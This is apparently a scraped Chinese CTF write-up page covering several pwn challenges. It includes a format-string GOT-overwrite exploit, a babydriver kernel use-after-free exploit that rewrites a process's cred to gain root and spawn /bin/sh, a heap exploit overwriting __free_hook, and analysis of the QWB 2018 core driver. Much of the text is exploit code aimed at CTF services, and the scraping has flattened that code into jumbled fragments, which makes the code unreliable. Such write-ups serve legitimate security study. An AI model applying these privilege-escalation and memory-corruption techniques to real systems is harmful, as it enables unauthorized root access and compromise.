1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 extern:0804A06C ; extern
这就需要推断调用什么函数了.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 LOAD:080486AD lea eax, [ebp-138h]
leak libc 泄漏libc的话,只需泄漏某个函数的got表,就选择sprintf来泄漏吧, 点击sprintf的call sub_80484E0进入plt跳转.
1 2 3 LOAD:080484E0 sub_80484E0 proc near ; CODE XREF: LOAD:080486FB↓p
点击jmp到sprintf got 表地址
1 LOAD:0804A030 dword_804A030 dd 1C001Fh ; DATA XREF: sub_80484E0↑r
0x0804A030就是sprintf的got表地址了,那么我们就可以通过字符串漏洞泄漏该地址的内容,从而获取到libc中sprintf的地址,strlen也是同样的方法.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 sprintf_got = 0x0804A030 0x0804A024 8 'A' '%' + str (offset + 1 ) + '$s' + p32(sprintf_got)'\xf7' )[-3 :] + '\xf7' )'sprintf ' + hex (sprintf))''' select: 2: ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64) ''' 'sprintf' , sprintf)'sprintf' )'libc_base ' + hex (libc_base))'system' )'system ' + hex (system))
修改strlen的got表内容为system 使用字符串漏洞来进行地址写入, 使用’$hn’s 2字节分两次写入,先写小的再写大的, system的高位地址要比system的低位地址大,则先写小的.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 high_sys = system >> (8 * 2 ) 0xFFFF 'high_sys ' + hex (high_sys))'low_sys ' + hex (low_sys))len ('Repeater:' ) + 1 + 4 + 4 'A' 0 ) 2 ) '%' + str (low_sys - pre_len) + 'c%' + str (offset + 0 ) + '$hn' '%' + str (high_sys - low_sys) + 'c%' + str (offset + 1 ) + '$hn'
get shell 使用’; ‘分割shell命令, 再调用strlen即调用system函数
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 from pwn import *from LibcSearcher import LibcSearcher'debug' '' '/lib/x86_64-linux-gnu/libc.so.6' "node3.buuoj.cn" 29458 0 0 lambda x : io.recv(x)lambda : io.recvall()lambda : io.recvline(keepends = True )lambda x : io.recvuntil(x, drop = True )lambda x : io.send(x)lambda x : io.sendline(x)lambda x, y : io.sendafter(x, y)lambda x, y : io.sendlineafter(x, y)lambda : io.interactive()lambda : io.close()lambda x : log.info(x)lambda : gdb.attach(io)def exploit ():0x0804A030 0x0804A024 8 'A' '%' + str (offset + 1 ) + '$s' + p32(sprintf_got)'\xf7' )[-3 :] + '\xf7' )'sprintf ' + hex (sprintf))''' select: 2: ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64) ''' 'sprintf' , sprintf)'sprintf' )'libc_base ' + hex (libc_base))'system' )'system ' + hex (system))8 * 2 )0xFFFF 'high_sys ' + hex (high_sys))'low_sys ' + hex (low_sys))len ('Repeater:' ) + 1 + 4 + 4 'A' 0 ) 2 ) '%' + str (low_sys - pre_len) + 'c%' + str (offset + 0 ) + '$hn' '%' + str (high_sys - low_sys) + 'c%' + str (offset + 1 ) + '$hn' '; /bin/sh' )def finish ():if __name__ == '__main__' :if LOCAL:if LIB:"LD_PRELOAD" : libFile})else :else :if LIB:
Kenel pwn ciscn 2017 baby driver 第一天真正开始做kernel pwn类的题, 于用户空间做的体确实有点不太一样, 利用从python 转向c语言写与驱动交互的程序, 找驱动程序的漏洞, 然后提权为root
知识预备 权限 在linux中每个进程都有它自己的权限,而标示着权限的那些信息,比如uid，gid等都是被放在一个叫cred的结构体当中的,也就是说每个进程中都有一个cred结构,如果能够修改进程的cred的uid和gid为0, 那么该进程的权限就为root权限了.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 struct cred {atomic_t usage;#ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; void *put_addr;unsigned magic;#define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; kgid_t gid; kuid_t suid; kgid_t sgid; kuid_t euid; kgid_t egid; kuid_t fsuid; kgid_t fsgid; unsigned securebits; kernel_cap_t cap_inheritable; kernel_cap_t cap_permitted; kernel_cap_t cap_effective; kernel_cap_t cap_bset; kernel_cap_t cap_ambient; #ifdef CONFIG_KEYS unsigned char jit_keyring; struct key __rcu *session_keyring; struct key *process_keyring; struct key *thread_keyring; struct key *request_key_auth; #endif #ifdef CONFIG_SECURITY void *security; #endif struct user_struct *user; struct user_namespace *user_ns; struct group_info *group_info; struct rcu_head rcu;
当我们是root权限的时候,我们的uid是等于0的,另外此版本的cred的大小是0xa8;
SLAB & SLUB kernel中没有libc，但是仍然需要内存的分配和释放，这时就会使用到kmalloc&kfree API（相当于用户态使用的malloc&free）。kmalloc&kfree的实现是通过SLAB或SLUB分配器，现在一般是SLUB分配器。分配器是通过一个多级的结构进行管理。首先有cache层，cache是一个结构，其中保存的对象分为空对象、部分使用的对象和完全使用的对象进行管理。对象就是指内存对象，也就是用来分配或者已经分配的一部分内核空间。kmalloc使用了多个cache，每个cache对应一个2的幂次大小的一组内存对象。
SLAB和SLUB都是内核的内存管理机制。为了提高效率，SLAB要求系统暂时保留已经释放的内核对象空间，以便下次申请时不需要再次初始化和分配。但是SLAB比较严格，需要再次申请的数据类型和大小与原先的完全一样，并且不同cache的无法分在同一页内；而SLUB较为宽松，和堆分配机制更为相似。
设备程序分析 驱动中存在一个结构体
1 2 3 4 struct babydev_struct{
babyopen函数 1 2 3 4 5 6 7 8 9 10 11 int __fastcall babyopen (inode *inode, file *filp) char *)kmem_cache_alloc_trace(kmalloc_caches[6 ], 0x24000C0 LL, 0x40 LL);0x40 LL;"device open\n" , 0x24000C0 LL, v2);return 0 ;
babywrite函数 1 2 3 4 5 6 7 8 9 10 11 void __fastcall babywrite (file *filp, const char *buffer, size_t length, loff_t *offset) size_t v4; if ( babydev_struct.device_buf )if ( babydev_struct.device_buf_len > v4 )
babyread 函数 1 2 3 4 5 6 7 8 9 10 11 void __fastcall babyread (file *filp, char *buffer, size_t length, loff_t *offset) size_t v4; if ( babydev_struct.device_buf )if ( babydev_struct.device_buf_len > v4 )
babyioctrl函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 void __fastcall babyioctl (file *filp, unsigned int command, unsigned __int64 arg) size_t v3; size_t v4; if ( command == 0x10001 )char *)_kmalloc(v4, 0x24000C0 LL);"alloc done\n" , 0x24000C0 LL, v5);else "\x013defalut:arg is %ld\n" , v3, v3);
babyrelease函数 1 2 3 4 5 6 7 8 9 int __fastcall babyrelease (inode *inode, file *filp) "device release\n" , filp, v2);return 0 ;
思路 这个从用户态的pwn来看好像漏洞并不明显,但是我们现在是在内核态了,要把用户态的单线程的思维抛开了,从多线程的角度来思考。
首先打开两次设备，通过ioctl将babydev_struct大小为的cred结构体的大小(不同版本kernel的可能不一样,需要通过源码去算);
然后释放其中一个设备，fork出一个新进程，此时这个新进程的cred 的空间就会重新开辟, 然而系统就会把之前大小一样空闲内存空间分配给它,。
第二个打开的文件描述符对这块空间进行写操作，只需要将uid和gid改为0，实现root提权
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <stdlib.h> int main (void ) int fd_1 = open ("/dev/babydev" , O_RDWR);int fd_2 = open ("/dev/babydev" , O_RDWR); pid_t pid;ioctl (fd_1, 0x10001 , 0xa8 ); if (-1 == fd_1 || -1 == fd_2) {puts ("open babydev failed!\n" );return -1 ;close (fd_1); if (pid == 0 ) {char buf[60 ] = {0 };write (fd_2, buf, 60 ); system ("/bin/sh" ); else {wait ();return 0 ;
调试 提取vmlinux extract-vmlinux 脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 #!/bin/sh check_vmlinux $1 > /dev/null 2>&1 || return 1cat $1 exit 0try_decompress for pos in `tr "$1 \n$2 " "\n$2 =" < "$img " | grep -abo "^$2 " `do ${pos%%:*} tail -c+$pos "$img " | $3 > $tmp 2> /dev/null$tmp done ${0##*/} $1 if [ $# -ne 1 -o ! -s "$img " ]then echo "Usage: $me <kernel-image>" >&2exit 2fi mktemp /tmp/vmlinux-XXX)trap "rm -f $tmp " 0'\037\213\010' xy gunzip'\3757zXZ\000' abcde unxz'BZh' xy bunzip2'\135\0\0\0' xxx unlzma'\211\114\132' xy 'lzop -d' '\002!L\030' xxx 'lz4 -d' '(\265/\375' xxx unzstd$img echo "$me : Cannot find vmlinux." >&2
保存为extract-vmlinux
提取vmlinux, 方便调试
1 ./extract-vmlinux ./bzImage > vmlinux
启动gdb 启动boot.sh获取babydriver的加载基址 使用 cat /proc/moudles或者lsmod
1 2 / # lsmod
导入符号表 最后面填写babydriver的基址
1 add-symbol-file ./fs/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000
调试qumu 在boot.sh中添加参数如下:
调试 运行程序
在gdb中连接该qemu程序
1 target remote 127.0.0.1:9999
运行如图
先下个断点
那么就和平时调试差不多了,只是调试相对比较慢而已, 下面就不演示了…
太湖杯 2020 exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 from pwn import *import oslambda x : io.recv(x)lambda : io.recvall()lambda : io.recvline(keepends = True )lambda x : io.recvuntil(x, drop = True )lambda x : io.send(x)lambda x : io.sendline(x)lambda x, y : io.sendafter(x, y)lambda x, y : io.sendlineafter(x, y)lambda : io.interactive()lambda : io.close()lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m' )'debug' 'tmux' , 'splitw' , '-h' ]'pwn' 0 '64' '2.29' '/glibc/' + libc_v + '/' + arch + '/lib/ld-linux-x86-64.so.2' '/glibc/' + libc_v + '/' + arch + '/lib' '/glibc/' + libc_v + '/' + arch + '/lib/libc.so.6' './libc.so.6' if (MODIFY_LD):'cp ' + elf_path + ' ' + elf_path + '.bk' )'patchelf --set-interpreter ' + ld_path +' ' + elf_path'modify ld ok!' )0 )"119.3.89.93" 8014 0 1 def db ():if (LOCAL):def ad (i, sz, d ):'ce:' , '1' )':' , str (i))':' , str (sz))':' , d)def md (i, sz, d ):'ce:' , '2' )':' , str (i))':' , str (sz))if (len (d) > 0 ):':' , d)def rm (i ):'ce:' , '3' )':' , str (i))def dp (i ):'ce:' , '4' )':' , str (i))def cre7 ():'ce:' , '5' )def gift (d ):'ce:' , '666' )':' , d)def exploit ():'exploit...' )for i in range (10 ):0x18 , 'A' * 0x18 )1 )0 , 0 , '' )0 )':' )'\n' )[-6 :] + b'\x00\x00' )0x2a0 'heap: ' + hex (heap))for i in range (5 ):2 )7 , 0 , '' )7 , 0x18 , p64(heap + 0x250 ))0 , 0x18 , b'A' )0 , 0x18 , b'A' )'none' )'0x' )int (r(12 ), 16 )0x7f50cd676140 - 0x7f50cd412000 ) '__free_hook' ]'system' ]'libc_base: ' + hex (libc_base))0 , 0x58 , b'A' )1 , 0x58 , b'/bin/sh\x00' )2 , 0x58 , b'A' )0 , 0 , '' )0 , 0x58 , p64(free_hook))'A' )1 )def finish ():if __name__ == '__main__' :if LOCAL:if LIBC:"LD_LIBRARY_PATH" : libs_path, "LD_PRELOAD" : libc_path} )else :"LD_LIBRARY_PATH" : libs_path} )else :if LIBC:
强网杯 2018 core 一个kernel pwn，来入入手。
如何解压cpio文件 直接使用ark解压软件解压即可。
保护 start script 1 2 3 4 5 6 7 8 qemu-system-x86_64 \"root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \id =t0, -device e1000,netdev=t0,id =nic0 \
开启了aslr保护
driver 1 2 3 4 5 Arch: amd64-64-little
有cannary保护
init script 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #!/bin/sh mkdir -p /dev/ptschmod 666 /dev/ptmxcat /proc/kallsyms > /tmp/kallsymsecho 1 > /proc/sys/kernel/kptr_restrictecho 1 > /proc/sys/kernel/dmesg_restrictecho 'sh end!\n'
在上面init脚本中出现关机命令， 把它注释掉重新打包为cpio文件就不会自动关机了。
程序逻辑 init_module函数 1 2 3 4 5 6 __int64 init_module () "core" , 438LL , 0LL , &core_fops);return 0LL ;
exit_core 函数 1 2 3 4 5 6 7 8 __int64 exit_core () if ( core_proc )"core" );return result;
core_ioctl函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 __int64 __fastcall core_ioctl (__int64 a1, int a2, __int64 a3) switch ( a2 )case 0x6677889B :break ;case 0x6677889C :break ;case 0x6677889A :break ;return 0LL ;
core_read函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 unsigned __int64 __fastcall core_read (__int64 a1) signed __int64 i; unsigned __int64 result; unsigned __int64 v6; 0x28 u);for ( i = 16LL ; i; --i )0 ;char *)v2 + 4 );strcpy ((char *)&v5, "Welcome to the QWB CTF challenge.\n" );char *)&v5 + off, 64LL );if ( !result )return __readgsqword(0x28 u) ^ v6;return result;
core_copy_func 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 signed __int64 __fastcall core_copy_func (signed __int64 a1) signed __int64 result; unsigned __int64 v3; 0x28 u);if ( a1 > 63 )0xFFFFFFFF LL;else 0LL ;unsigned __int16)a1); return result;
漏洞点 若在core_copy_func函数中传入的参数为负数，造成整型溢出，即可实现堆栈溢出。
